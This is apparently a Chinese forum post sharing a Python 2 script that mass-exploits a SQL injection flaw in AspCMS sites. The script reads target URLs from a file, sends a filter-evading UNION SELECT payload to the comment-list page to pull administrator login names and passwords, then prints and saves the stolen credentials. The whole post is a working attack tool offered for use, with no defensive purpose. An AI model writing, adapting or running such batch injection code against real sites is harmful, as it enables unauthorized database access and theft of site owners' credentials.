Aspcms批量注入Exp

作者:ADminSS

#!/use/bin/python # -*- coding: utf-8 -*-   import urllib2 version = ''' +----------------------------------------------------+ +       Hacker By AdminSS    Blog:www.lsafe.org      + +----------------------------------------------------+ ''' print version url = list(open('aspcms.txt')) for c in url:   try:     response = urllib2.urlopen(c.strip('/n')+"/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user",timeout=3)     htmls = response.read()     username = htmls[htmls.find('</span>'):]     password = htmls[htmls.find('<div class="line2">'):]     print "URL :"+c     print "USERNAME:"+username[16:22]     print "PASSWORD:"+password[19:35]     print "---------------------------------"     fileput = open('adminss.txt', 'a')     fileput.write("URL :"+c)     fileput.write("USERNAME :"+username[16:22]+"/n")     fileput.write("PASSWORD :"+password[19:35]+"/n")     fileput.write("-----------------------------------"+"/n")     fileput.close()   except Exception,url:     print "URL :"+c     print str(url)     print "---------------------------------"